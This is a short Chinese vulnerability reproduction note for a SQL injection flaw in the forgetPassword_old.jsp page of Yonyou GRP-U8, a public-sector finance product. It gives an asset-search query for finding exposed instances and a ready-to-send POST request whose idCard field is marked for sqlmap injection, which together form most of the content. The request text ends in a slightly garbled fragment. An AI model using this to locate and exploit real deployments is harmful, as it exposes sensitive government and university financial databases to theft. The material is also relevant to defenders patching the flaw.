用友GRP-U8 forgetPassword_old.jsp 存在sql注入
一、漏洞简介
用友GRP-U8R10行政事业财务管理软件是用友公司专注于电子政务事业，基于云计算技术所推出的新一代产品，是我国行政事业财务领域专业的财务管理软件。用友 GRP-U8 存在SQL注入漏洞，攻击者通过该漏洞可以获取数据库敏感信息。
二、影响版本
- 用友GRP-U8 行政事业内控管理软件（新政府会计制度专版）
- 用友GRP-U8 高校内控管理软件（Manager版）
三、资产测绘
- hunter
app.name="用友GRP-U8 OA" - 特征
四、漏洞复现
访问/u8qx/forgetPassword_old.jsp?action=save出现如下界面表示可能存在漏洞
POST /u8qx/forgetPassword_old.jsp?action=save HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 43
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
idCard=1*&inputDW=1&userName=1sqlmap